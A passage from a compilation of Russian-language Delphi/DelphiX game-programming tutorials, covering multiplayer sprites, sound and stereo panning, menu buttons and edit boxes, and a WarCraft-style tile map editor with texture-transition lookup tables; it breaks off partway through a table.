  begin    // получаем сообщение - удалённый игрок выстрелил,
          // создаём патрон на месте PLU
    with TPlayerFa.Create(dxspriteengine1.Engine) do
    begin
      PixelCheck := True;
      Image := form1.dxImageList1.Items.Find('Pula');
      X := plu.X+plu.Width-70;
      Y := plu.Y+plu.Height+10;
      Width := Image.Width;
      Height := Image.Height;
      stril:=4;
      Collision;
    end;
  end;
end;
Далее кликаем по DXDraw создаём событие Initialize и в нем пишем:
  plu:= Tplu.Create(DXSpriteEngine1.Engine);
  plu.PixelCheck  := True;
  plu.Image := form1.dxImageList1.Items.Find('plu');
  plu.x:=350;
  plu.y:=10;
  plu.Width := plu.Image.Width;
  plu.Height := plu.Image.Height;
  PlayerSprite:= TPlayerSprite.Create(DXSpriteEngine1.Engine);
  PlayerSprite.PixelCheck := True;
  PlayerSprite.Image := form1.dxImageList1.Items.Find('Pla');
  PlayerSprite.x:=350;
  PlayerSprite.y:=500;
  PlayerSprite.Width := PlayerSprite.Image.Width;
  PlayerSprite.Height := PlayerSprite.Image.Height;
Вот, и всё запускаем, и радуемся. А теперь я расскажу, как это всё работает. Прежде чем начать писать мультиплеер, нужно осознавать, что тебе придётся думать за каждую из удалённых машин. Как она получит пакет, кому что нужно будет отправить и так далее. Так вот, в событии Message в DXPlay1 обрабатываются всё принятые сообщения, а отсылать их можно любым плеером из любого места в коде. Так вот когда один из игроков запускает игру, а другой присоединяется к нему, происходит такая картина: Статьи по Delphi (008)… В нашем примере все действия, которые происходят на другой машине, отражается на спрайте Plu. Скачать всё, что мы творили можно вот здесь: part6.rar. P.S Назвал я класс PLU потому что, так проще, расшифровывается как плеер удаленный. P.S.S Я устал уже отвечать на такие письма типа: "У меня не распаковывается архив?" так вот, говорю, всё архивы запакованы WinRAR 3.0. Автор: Влад Энгельгардт

Изучаем DelphiX - Часть 7 - Звуки и музыка.

Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru

"Звуки и музыка создают атмосферу в игре".

Здравствуйте дорогие мои читатели, сегодня мы займёмся воспроизведением звуков и музыки в игре. Займёмся в начале звуками. В этом уроке рассмотрим два способа воспроизведения звука. За основу я решил взять седьмую часть. Теперь рассмотрим компоненты, с помощью которых мы будем осуществлять воспроизведение музыки. Статьи по Delphi (008)… DXSound - в общем через него звук и будет воспроизводится. Статьи по Delphi (008)… DXWave - необходим для хранения, и воспроизведения одного звука. Статьи по Delphi (008)… DXWaveList -В нём можно хранить, и воспроизводить звуки через DXSound. Внимание, напомню, что звуки можно загружать в игру только в формате Wav или Dxw. Ну, так что, приступим. Для начала кидаем компонент DxSound на форму. Затем кидаем DXWaveList и в закладке Properties напротив DXSound выбираем наш саунд :). Теперь давайте загрузим наш первый звук. Это будет естественно выстрел. Он будет у нас вот таким: fa.zip. Теперь щёлкаем по нашему компоненту DxWaveList, и находим Items с удовольствием нажимаем, и далее всё также, как мы работали с ImageList. Добавим звук и назовем его Fa. Теперь по идеи стреляют у нас оба класса и игрок и плеер, так что добавляем это в процедуры DoMove. При событии создания патрона. Так должно выглядеть для каждого класса.

Для Playerone:

if isbutton1 in Form1.DXInput1.States then
  begin
    if lngpolet-oldlngpolet<=250 then
    begin
      Inc(lngpolet);
      with TPlayerFa.Create(Engine) do
      begin
        form1.DXWaveList1.Items.Find('fa').Play(true);
        Image := form1.DXImageList1.Items.Find('pul');
        X:=self.X+cos256(ang)*55;
        Y:=self.y+sin256(ang)*55;
        anglefa:=ang;
        oldlngpolet := lngpolet;
      end;
    end;
  end;
Для Playertwo:
  if fa=true then
  begin
    if lngpolet-oldlngpolet<=250 then
    begin
      Inc(lngpolet);
      with TPlayerFa.Create(Engine) do
      begin
        form1.DXWaveList1.Items.Find('fa').Play(true);
        Image := form1.DXImageList1.Items.Find('pul');
        X:=self.X+cos256(ang2)*55;
        Y:=self.y+sin256(ang2)*55;
        anglefa:=ang2;
        oldlngpolet := lngpolet;
      end;
      fa:=false;
    end;
  end;
Следующий пример со стереоэффектом. Этот пример будет способен различать в какой стороне находится патрон и "снижать громкость" в противоположном динамике. Let's GO!! :) Перед implementation в Var добавляем две переменные: pulxpl,CurrentPanpl:integer; Первая - это X патрона, вторая это высота звука и место расположения.

Теперь в процедуру TPlayerFa.DoMove добавляем некоторые строчки, и она становится вот такой:

procedure TPlayerFa.DoMove(MoveCount: Integer);
begin
  inherited DoMove(MoveCount);
  angle := anglefa;
  x:=x+cos256(angle)*8;
  y:=y+sin256(angle)*8;
  pulxpl := trunc(x); //передаём переменной значение Х патрона
  CurrentPanpl := -20000 * pulxpl div form1.DXDraw1.ClientWidth + 10000; // И так всё //понятно
  form1.dxwavelist1.Items.Find('fa').pan := CurrentPanpl;  //Присваиваем значение звуку
  if X<= 800 then Dead;
  if y<= 600 then Dead;
  if X>= 0 then Dead;
  if y>= 0 then Dead;
  Collision;
end;
Конечно, это самый примитивный способ, и требует доработки, но всё же годен для использования, например, в аркадах. Что касается музыки, то для мелких проектов использовать Midi или Mod, а в более серьёзных, где качество звука должно быть на высоте, надо использовать более качественные форматы, или библиотеки. А так, для воспроизведения музыки в игре можно пользоваться и MediaPlayer (стандартным компонентом для воспроизведения музыки). Я добавил музыку в последний пример с помощью MediaPlayer. Совет для всех: чтобы музыка корректно воспроизводилась у всех, переписываете её в папку с игрой, и в MediaPlayer указывайте не полный путь, а только название файла. И ещё совет, MediaPlayer1.Play; вставляёте в самом конце DXDraw Initialize иначе может случиться, что игра ещё не загрузилась, а музыка будет играть. Вот и всё. Скачать можно первый пример, второй пример. И ещё, пишите о том, что хотите прочитать, это мне очень важно по вашим письмам я строю план следующей части. Нет писем нет частей :(. Автор: Влад Энгельгардт

Изучаем DelphiX - Часть 8 - The End.

Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru

Здравствуйте Дорогие мои читатели. Я очень благодарен, что вы проявляете интерес к моим статьям и, тем более что вы получаете пользу от них. Если вы только начали увлекаться Game Development`ом, то советую начать именно с DelphiX. Возможно, это будет последняя часть моего туториала. Эта часть не статья, а специальная демонстрационная версия, показывающая некоторые возможности DelphiX. Это полноценная игра, предназначенная для демонстрации некоторых возможностей DelphiX. Скачать исходник (part8.rar). Скачать exe игры (part8_game.rar). Автор: Влад Энгельгардт

Создание Главного Меню в Игре - Часть 1 - Кнопки и ЧекБоксы.

Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru

Начинать делать игру надо именно с главного меню! К такому выводу я пришел тогда, когда начил вставлять меню в "Наш Крафт" (ныне "В ОСАДЕ"), это было жутко неудобно так как пришлось перестраивать структуры игры! Итак, злобный Spose выкладывает intf.zip содержащий описание компонентов(кнопок, листбоксов, чекбоксов, эдитов и тэдэ) для DelphiX. Рассматривать мы их будем в порядке надобности и по мере улучшения Intf (сейчас дорабатывается), на эту тему будут четыре статьи! Этапы использования компонентов в игре: 1.Создание и задание параметров 2.Отрисовка и обработка влияния курсора на них 3.Очистка памяти от компонентов которые уже не нужны. Cначала нужно подключить Intf к игре так:
Uses ..............., intf; //Подключаем Inf к программе
.........................................................................
procedure TForm1.FormCreate(Sender: TObject);
begin
   fsurface:=dxdraw.surface; //Это необходимо
   .........................
end;
.........................................................................
procedure TForm1.DXTimerTimer(Sender: TObject; LagCount: Integer);
begin
   if not dxdraw.CanDraw then exit;
   fsurface:=dxdraw.Surface; //Это необходимо
   ..........................
end;
Теперь включив intf в свою программу, можно и компоненты посоздавать. Компоненты создаются просто:
Btn := TDxImageButton.create; //Где Btn - имя кнопки, заданное зарание в поле VAR (у формы)
Cb := TDxImageCheckBox.create; //Где Cb - имя ЧекБокса, заданное зарание в поле VAR (у формы)

Компоненты создаются просто: Вот такие параметры нужно регулировать у кнопок:
x:=288;//Координаты по X
y:=350;//Координаты по Y
image:=il.Items.Find('btn');//Изображение (обязательно нужно чтобы в одной картинке было 2 изображения - ненажатой и нанажатой)
width:=image.Width;//Это просто надо
height:=image.Height;//Тоже надо
caption:='ВЫхОд ТиПА !';//Заголовок ТиПА
OnClick:=onclick1;//Процедура которая будет работать по нажатию на кнопку

У ЧекБоксов аналогично, но нету процедуры OnClick (пока). Отрисовка производится так:
btn.DoDraw; //Где btn имя вашего компонента

И остается только обработка на поведение мыши(cb - ЧекБокс, btn - Кнопка):
procedure TForm1.DXDrawMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
   btn.OnMouseDown(x,y);
   cb.OnMouseDown(x,y);
end;
procedure TForm1.DXDrawMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
   btn.OnMouseMove(x,y);
   cb.OnMouseMove(x,y);
end;
procedure TForm1.DXDrawMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
   btn.OnMouseUp;
   cb.OnMouseUp;
end;
Тут код примера Вот в принципе и всё.

Создание Главного Меню в Игре - Часть 2 - EDIT.

Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru

Итак, мы всё также используем intf.zip содержащий описание компонентов(кнопок, листбоксов, чекбоксов, эдитов и тэдэ) для DelphiX. Cначала нужно подключить Intf к игре так:
Uses ..............., intf;//Подключаем Inf к программе
.........................................................................
procedure TForm1.FormCreate(Sender: TObject);
begin
   fsurface:=dxdraw.surface; //Это необходимо
   .........................
end;
.........................................................................
procedure TForm1.DXTimerTimer(Sender: TObject; LagCount: Integer);
begin
   if not dxdraw.CanDraw then exit;
   fsurface:=dxdraw.Surface; //Это необходимо
   ..........................
end;
Теперь включив intf в свою программу, можно и компоненты посоздавать. Компоненты создаются просто:
edit1 := Tdxwedit.Create(form1);
With Edit1 do
begin
   Name := 'Edit1';
   Image := il.Items.Find('Edit');
   Font.Style := [fsbold];
   Font.Color := clYellow;
   Font.Size := 18;
   Font.Name := 'Times New Roman';
   Left := 200;
   Top := 270;
   width := image.Width;
   height := image.height;
   OnChange := EditChange;
   Text := 'C:\GAMES\US';
   focused := true;
end;
//Где edit1:Tdxwedit

Вот процедура EditChange:
begin
//Тут чего нибудь делайте с текстом
end;
Отрисовка производится так:
edit1.DoDraw;//Отрисовка Edit'a

И остается только обработка на поведение мыши и на нажатие кнопок на клавиатуре:
procedure TForm1.DXDrawMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
   if ptinrect(edit1.BoundsRect,mouse.CursorPos) then //Если мышь над Едитом то выделяем его
   begin
      edit1.Font.Style:=[fsBold];
      edit1.Font.Color:=clWhite;
      edit1.Focused:=true;
   end else
   begin
      edit1.Font.Style:=[];
      edit1.Font.Color:=clYellow;
      edit1.Focused:=false;
   end;
end;
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
   edit1.KeyDown(key,shift);
end;
procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
begin
   edit1.KeyPress(key);
end;
Тут код примера Вот в принципе и всё.

Создание редактора карт в стратегиях типа WarCraft.

Статьи по Delphi (008)…
"Фраги не пахнут"-сказал геймер, затаскивая тело своего товарища по команде за угол.

Довелось мне как-то озадачиться идеей написать редактор карт для моей новой игры. Скажу сразу, что задача эта не из простых. Приступим сразу к делу. Как правило, в двумерных стратегических играх типа Warcraft, Heroes of Might and Magic, Z и т. д. карты строятся из ячеек. Иными словами, карта - это матрица с некоторыми числовыми значениями внутри ячеек. Эти значения есть номера текстур( растровых картинок с изображениями земли, воды, камней и т. д., из которых и будет склеиваться Ваш уникальный ландшафт ).

Для создания карты задается двумерный массив ( Map : Array[3,3] of Byte ), записываются, каким-либо образом, в каждую ячейку порядковые номера текстур и при выводе карты на экран эти номера читаются из массива. Ну например:

...
for i := 0 to 2 do
  for j := 0 to 2 do
  begin
    Number := Map[i,j];
    X := J * TextureWidth;
    Y := i * TextureHeight;
    DrawTexture(X,Y,Number);
  end;
...

Где:

Number номер текстуры, Х координата текстуры на экране, Y то же самое, DrawTexture некая процедура вывода текстуры на экран.

Совет: Если Вам заранее не известно из какого количества ячеек будет состоять Ваша карта, не используйте Tlist в Tlist'e для ее создания. Советую воспользоваться PbyteArray.

GetMem(PbyteArray,MapWidth*MapHeight*SizeOf(Тип ячейки))

Тип ячейки в нашем случае - Byte. Обращение в этом случае будет таким: Number := PbyteArray[Y*MapWidth + X]; Где X,Y - координаты нужной ячейки в матрице.

Все что мы рассмотрели выше подходит для карт на основе только лишь одного типа земли. Поскольку все текстуры разные - карта как-бы состоит из квадратиков. Кому она такая нужна? Хочется чтобы эти текстуры плавно перетекали друг в друга. Отсюда есть три выхода:

Создавать карту из текстур мало отличающихся друг от друга и при рисовании карты выбирать их случайным образом. Налепить целю кучу "пересекающихся" между собой текстур и класть их на карту вручную. Так же налепить ту же кучу текстур и написать программу позволяющую автоматически распределять их на карте.

Первый способ не очень интересен. Он скорее подходит для создания ролевых игр. Где, как правило, присутствует базовый тип земли, а все остальное, такое как вода, камни, травка представляется объектами. Второй способ легок по реализации, но очень утомительно будет потом создавать карты в таком редакторе.

Если у Вас вся карта состоит из текстур с травой, а Вам надо добавить участок воды, то мы видим, что для того чтобы добиться плавного перетекания Вам придется добавить еще 8 промежуточных текстур окружающих текстуру с водой. Если делать это вручную( по второму способу ), то это займет слишком много времени и сил. Поэтому нам второй способ тоже не подходит. Мы остановимся на третьем способе и будем создавать карту подобно тому, как это происходит в WarCraft'e. При добавлении текстуры на карту( фактически - записи номера текстуры в определенную ячейку матрицы ), окружающие ее текстуры будут рассчитываться автоматически. Как этого добиться?

Я достаточно долго ломал голову над этой проблемой. Я пытался найти какой-нибудь способ позволяющий не утруждать компьютер громоздкими вычислениями и работать максимально быстро и эффективно. Один раз я даже вывел формулу, по которой рассчитывались новые значения ячеек, но она увы имела ограниченное действие( только 2 типа земли ) и плохо подходила для создания карт, где требуется максимальное разнообразие. Но достаточно лирики, давайте вернемся к нашим баранам.

Прежде всего необходимо выяснить - какое количество переходных текстур нам понадобится для обеспечения плавного перетекания между двумя типами земель. Здесь есть свои тонкости.

Представим, что у нас имеется два типа земли: ВОДА и ЗЕМЛЯ, тогда: Во-первых нам понадобятся две базовых текстуры , это текстуры полностью заполненные водой или землей.

Во вторых нам понадобятся промежуточные текстуры. Сколько их нужно мы сейчас посчитаем.

Оказалось, что для плавного перетекания двух земель друг в друга надо 14 промежуточных текстур, плюс две базовых. Итого 16. Всякий программист знает, что это хорошая цифра.

Возможно кто-то спросит: А зачем так много? Не достаточно ли 8 текстур, где трава пересекается с водой? Нет не достаточно. Ведь ситуации бывают разные. Окружающие ячейки могут быть не полностью забиты травой ( в данном случае землей ), и тогда понадобятся дополнительные текстуры.

Тогда может последовать другой вопрос: Почему так мало текстур? Где например текстуры когда вода с трех сторон окружена землей, и с четырех, и другие? Не следует ли предусмотреть все случаи?

И это правильный вопрос, но здесь все зависит от конкретной реализации алгоритма автоматического вычисления необходимой текстуры. В моем примере он реализован так, что остальные текстуры не нужны. Объясню наглядно:

Текстуры воды окруженные землей с двух противоположных сторон превращаются в базовую текстуру земли ( в текстуру заполненную только землей ). Соответственно то же самое происходит когда вода окружена с трех или четырех сторон. Текстуры воды окруженные с двух уголков на одной стороне превращаются в текстуры полностью окруженные землей с одной стороны.( если уголки с трех сторон, то вода оказывается окружена полностью с двух сторон, если уголков 4, то вода превращается в землю совсем).

Теперь, я надеюсь, все ясно. С помощью применения подобной техники количество промежуточных текстур удалось уменьшить ровно в два раза! Это существенная экономия памяти, особенно если учесть, что типов земель будет больше. Кстати в WarCraft'e, если я не ошибаюсь, используется такой же набор текстур.

Ну хорошо, теперь давайте еще посчитаем. Для "слияния" двух земель нам понадобилось 16 текстур. Но если к земле и воде добавить еще траву, то придется создавать также переходные текстуры для трава-земля и трава-вода. Это еще 32 текстуры. Добавим еще каменистую почву( надо же сделать карту разнообразнее). Еще 48 текстур. И так далее и так далее. А если мы хотим сделать несколько видов одной и той же текстуры( опять таки для разнообразия )? Количество текстур растет как на дрожжах. Что делать?

Но тут на помощь пришел опять-таки старый, добрый, затертый до дыр мышкой WarCraft. Никогда не замечали, что если в WarCraft'e, вернее в War Editor'e, "кладешь" воду на траву, то между травой и водой появляется прослойка земли? Вот и я заметил.

Вода граничит только с землей, трава тоже граничит только с землей. Земля в данном случае является "переходным" типом земли. Достаточно создать текстуры вода-земля, трава-земля, камни-земля, песок-земля и т. д. По 16 штук на каждую землю и все. Можно больше не беспокоится. Земли будут соединяться между собой через "переходный" тип земли. Спасибо WаrСrаft'у.

Итак, с количеством текстур и тем какими они должны быть мы разобрались, и вот наконец-то мы приступаем к самой реализации данной задачи.

Условимся, что:

Ячейку с номером 12 я буду называть активной или текущей. Землю которой мы рисуем я также буду называть активной или текущей. Землю которая была прежде была в ячейке 12 я буду называть прежней. Ячейки под номерами 6,7,8,11,13,16,17,18 я буду называть первым кругом. Ячейки под номером 0,1,2,3,4,5,9,10,14,15,19,20,21,22,23,24 я буду называть вторым кругом. Все текстуры имеющие в себе участок некоторого типа кроме переходного есть эта земля. То есть, к примеру, ячейки в первом круге - это вода.

Пусть для данного примера у нас будет три типа земли: ВОДА, ТРАВА, КАМНИ. Плюс переходный тип - ЗЕМЛЯ. Нам понадобится 48 текстур. Почему 48, а не 64? - спросите вы, - ведь типов-то 4. Потому, что переходный тип и так есть в каждом из трех первых типов, в промежуточных текстурах.

Допустим, что текстуры у Вас будут храниться в компоненте ImageList, для нашего случая это удобнее всего. Разместим мы их следующим образом: за номером 0 будет располагаться цельная текстура воды, номера 1 - 14 займут промежуточные текстуры ВОДА-ЗЕМЛЯ (как на Рисунке 4), номер 15 займет цельная текстура ЗЕМЛИ. Следующий элемент ТРАВА займет номера 16 - 31 по тому же принципу, элемент КАМНИ займет номера с 32 - 47. Как Вы наверное заметили, номера 15,31,47 оказываются заняты одинаковыми цельными текстурами земли. Их можно сделать немного отличающимися друг от друга для обеспечения большего разнообразия, а затем выбирать случайным образом.

Введем базовые индексы типов земель. Пусть базовый индекс воды равен 0, базовый индекс травы равен 1, камней - 2. Тогда, узнав порядковый номер текстуры, мы можем выяснить какому типу земли она принадлежит, достаточно разделить целочисленным делением (Div) порядковый номер текстуры на 16. Если же мы разделим этот номер делением по остатку (Mod) на 16, то узнаем смещение или номер промежуточной текстуры внутри интервала номеров принадлежащего данному типу земли. Например, мы обратились к ячейке и получили номер 23. Поделив этот номер целочисленным делением на 16 получим 1. Это тип земли - ТРАВА. Поделив делением по модулю остатка на 16 получим 7. Это номер промежуточной текстуры.(См. Рисунок 4, только в данном случае была бы трава с землей) Заметьте, если бы вместо 7 мы получили 0, это означало бы цельную текстуру данной земли, 15 означало бы цельную текстуру переходного типа - ЗЕМЛЯ.

Теперь давайте немного попишем:

PMap : PbyteArray; // указатель на матрицу содержащую нашу карту
WorldWidth, WorldHeight : Integer; // Ширина и высота карты в ячейках
procedure CreateNewMap(WorldWidth,WorldHeigth : Integer);
begin
  // Выделение памяти под матрицу
  GetMem(pMap,WodrldWidth*WorldHeight);
  // Заполнение этого участка нулями
  FillChar(pMap,WorldWidth*WorldHeight,0);
end;
function GetElement(x,y : Integer):byte;
begin
  // Получить значение ячейки
  Result := pMap[y*WorldWidth + x];
end;
procedure PutElement(x,y : Integer; index : Byte);
begin
  // Записать значение в ячейку
  PMap[y*WorldWidth + x] := index;
end;
function GetBaseIndex(index : byte): byte;
begin
  // Получить тип земли в виде номера(индекса)
  Result := index div 16;
end;
function GetAdditionalIndex(index : byte):byte;
begin
  // Получить номер переходной текстуры
  Result := index mod 16;
end;

Вот. Вспомогательные функции мы написали, перейдем к рассмотрению технологии.

Посмотрите на Рисунок 6(б). Видно, что когда мы заменяем значение одной ячейки, эти изменения влияют, как на первый так и на второй круги ячеек. Возникает резонный вопрос: не случится ли такой ситуации, когда помещение на карту новой текстуры потребует перерисовки всей карты, так, словно кто-то бросил камень в воду? Если следовать принципам изложенным в этой статье, то не случится. Я проверял все варианты. Изменения касаются лишь первого и второго круга. Кто не верит, может проверить, посчитать, прикинуть, но это займет много времени. Теперь мы подходим к главному - по какому принципу рассчитывать новые значения изменяемых текстур. Возможно я Вас немного удивлю, но рассчитывать нам больше ничего не придется. Нам понадобится создать три массива (таблицы)16 на 25 элементов, записать в них заранее расчитанные значения, а затем их считывать в ходе выполнения программы. Сейчас поясню.

Поскольку в общей сумме у нас по максимуму может измениться 25 элементов на карте (Рисунок 6(б)), мы создадим вспомогательную матрицу 5х5, куда будем считывать с карты значения соответствующих ячеек. Затем мы изменим значения в этой матрице и поместим ее снова на карту откуда взяли.

В каждой ячейке может быть следующее значение:

Index + GroundIndex*16 , где.

Index - число от 0 до 15 указывающее на номер переходной текстуры. GroundIndex - число от 0 до 2 указывающее на тип земли - ВОДА, ТРАВА, КАМНИ.

Итак мы знаем номер лежащей в ячейке переходной текстуры (GetAdditionalIndex), мы также знаем номер этой ячейки в матрице 5х5. Этого вполне достаточно. Мы создадим массив-таблицу ширина которого равна количеству возможных переходных текстур 16, а высота равна количеству ячеек в матрице 5х5=25. Дальше мы действуем следующим образом: Считываем в матрицу 5х5 участок карты центром которого является ячейка в которую мы "кладем" новую землю, в ячейку 12 кладем цельную текстуру той земли которой мы рисуем. Затем для всех ячеек матрицы 5х5 кроме 12-ой делаем следующее: Поучаем номер переходной текстуры (GetAdditionalIndex) и обращаемся к таблице 16х25. Где номер переходной текстуры это положение ячейки таблицы 16х25 по горизонтали, а номер ячейки в матрице 5х5 это положение ячейки таблицы 16х25 по вертикали. Цифра 6 по горизонтали это GetAdditionalIndex от текстуры, которая прячется в матрице 5х5 в ячейке номер 17, а "Х" в красной клетке это тот самый новый номер для этой текстуры. Фактически смысл сводится к следующему: посмотрели какая была текстура - заглянув в таблицу, узнали какая стала.

Вы наверное спросите - а как узнать какие значения должны быть в таблице 16х25? Никак. Они рассчитываются в уме и записываются в таблицу ручками. Но вы можете не задумываться над этим, я уже рассчитал и записал их в своем примере. Смотрите в исходниках.

Кстати в тексте статьи я упоминал о том, что нам придется создать три таблицы 16х25. Я не оговорился. Дело в том, что у нас возможны три варианта, когда значения одной и той же ячейки в таблице должны быть разными:

Активная земля равняется прежней земле. Например, мы рисуем ТРАВОЙ, а в рассчитываемой ячейке тоже ТРАВА или ТРАВА с ЗЕМЛЕЙ. Активная земля не равна прежней земле. Например, мы рисуем ТРАВОЙ, а в рассчитываемой ячейке ВОДА или ВОДА с ЗЕМЛЕЙ. Рисуем переходным типом земли - ЗЕМЛЯ.

Если кому-нибудь еще что-то не понятно, то надеюсь после рассмотрения исходных текстов программы все встанет на свои места.

Пример написан на Delphi 3 Professional, с использованием компонент библиотеки DelphiX для DirectX 6.0.

Модуль MapDat:

// Определение класса Matrix5
type TMatrix5 = class(TObject)
private
  Matrix : array[0..4,0..4] of byte;
  Vector : array[0..24] of byte;
public
  function GetBaseIndex( ElementIndex : Integer ): Integer;
  function GetAdditionalIndex( ElementIndex : Integer ): Integer;
  procedure Fill(X,Y : Integer);
  procedure Place(X,Y : Integer);
  procedure Culculate(X,Y : Integer; BrushIndex : Integer );
  procedure Draw(X,Y : Integer; BrushIndex : Integer );
end;

Внутри класса определены переменные в виде матрицы 5х5 и вектора. Некогда я думал, что это упростит написание программы, сейчас я думаю, что можно воспользоваться только вектором. Методы GetBaseIndex и GetAdditionalIndex мы уже рассматривали, рассмотрим остальные:

Метод Fill(X,Y : Integer);

procedure TMatrix5.Fill(X,Y : Integer);
var
  i, j: Integer;
begin
  for j := 0 to 4 do
    for i := 0 to 4 do
      Matrix[i,j] := MainForm.GetElement(X - 2 + i,Y - 2 + j);
  for j :=0 to 4 do
    for i := 0 to 4 do
      Vector[j*5 + i] := Matrix[i,j];
end;

Заполняет матрицу и вектор 25-ю элементами карты. Х,Y - указывает на центральный элемент.

Метод Place(x,y : Integer);

procedure TMatrix5.Place(X,Y : Integer);
var
  i, j: Integer;
begin
  for j := 0 to 4 do
    for i := 0 to 4 do
      Matrix[i,j] := Vector[j*5 + i];
  for j := 0 to 4 do
    for i := 0 to 4 do
      MainForm.PutElement(X - 2 + i,Y - 2 + j, Matrix[i,j] );
end;

Выполняет процедуру обратную методу Fill. То есть кладет матрицу 5х5 на карту.

Метод Draw(X,Y : Integer; BrushIndex : Integer);

procedure TMatrix5.Draw(X, Y: Integer; BrushIndex: Integer);
begin
  Self.Culculate(X, Y, BrushIndex);
  Self.Place(X, Y);
end;

Выполняет методы Culculate , а затем Place. X,Y - указывают центральный элемент в матрице 5х5, BrushIndex - индекс активной земли. (0-вода,1-трава,2-камни,3- переходный тип - земля).

Прежде чем перейти к основному методу данного модуля - Culculate, покажу вам созданные таблицы.

const BasicTable : array[0..24,0..15] of byte = (
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
( 9, 1, 6, 8, 4, 5, 6,15, 8, 9, 1,14, 4, 5,14,16), 
( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,16), 
(10, 1, 2, 7,15, 5, 6, 7,15, 1,10, 2, 7,13, 6,16), 
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,16), 
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), 
( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,16), 
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(12, 5, 7, 3, 4, 5,15, 7, 8, 4,13, 3,12,13, 8,16), 
( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,16),
(11, 6, 2, 3, 8,15, 6, 7, 8,14, 2,11, 3, 7,14,16), 
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16));
EqualTable : array[0..24,0..15] of byte = (
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,10,16,16,12,13, 2,16, 3, 0,16,16,16,16,11, 7),
(16, 0,11,16,12,12,11, 3, 3, 0, 0,16,16,12,11, 3),
(16, 9,11,16,16, 4,14, 3,16,16, 0,16,16,12,16, 8),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,10,16,11, 0,10, 2, 2,11, 0,16,16, 0,10,11, 2),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16, 9, 0,12,16, 4, 9,12, 4,16, 0, 0,16,12, 9, 4),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,11, 9, 1,16, 2,14,16,16,16, 0,10,16, 6), 
(16,16,10, 0, 9, 1, 1,10, 9,16,16, 0, 0,10, 9, 1),
(16,16,10,12,16,16, 1,13, 4,16,16, 0,16,16, 9, 5),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16));
NotEqualTable : array[0..24,0..15] of byte = ( 
( 9, 1, 6, 8, 4, 5, 6,15, 8, 9, 1,14, 4, 5,14,15), 
( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),
( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15), 
( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),
(10, 1, 2, 7, 5, 5, 6, 7,15, 1,10, 2,13,13, 6,15),
( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15),
(23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23),
(19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19),
(24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24),
( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),
( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15),
(18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18),
(16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16),
(20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20),
( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),
( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15),
(22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22),
